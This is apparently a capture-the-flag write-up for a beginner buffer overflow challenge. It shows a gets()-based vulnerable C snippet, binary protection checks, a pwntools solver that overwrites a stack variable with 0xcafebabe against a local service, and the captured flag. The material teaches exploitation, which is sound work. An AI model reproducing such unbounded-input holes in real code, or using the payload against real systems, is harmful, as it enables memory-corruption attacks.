b0f

Walkthrough

Reconnaissance

pwndbg> checksec ./b0f
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE

Vulnerability

int check = 0xdeadbeef;
char buffer[64];
gets(buffer);  // UNLIMITED input!
if (check == 0xcafebabe) {
    system("cat flag.txt");
}

Classic gets() overflow. The check variable sits directly above buffer on the stack. We overflow 64 bytes of buffer + overwrite check with 0xcafebabe.

Result

Check variable: 0xcafebabe
[+] Congratulations! You controlled the variable!
Securinets_fst{d4ddy_1_ju5t_pwn3d_4_b0f}

Reference solver

The reference solver supplied with the writeup:

from pwn import *
#start the process
p = remote('localhost',7004)

# Wait for prompt
p.recvuntil(b'input: ')

# Send payload: 76 bytes padding + target value
payload = b'A' * 76 + p32(0xcafebabe)
p.sendline(payload)

# Get flag
print(p.recvall().decode())

Flag

Securinets_fst{d4ddy_1_ju5t_pwn3d_4_b0f}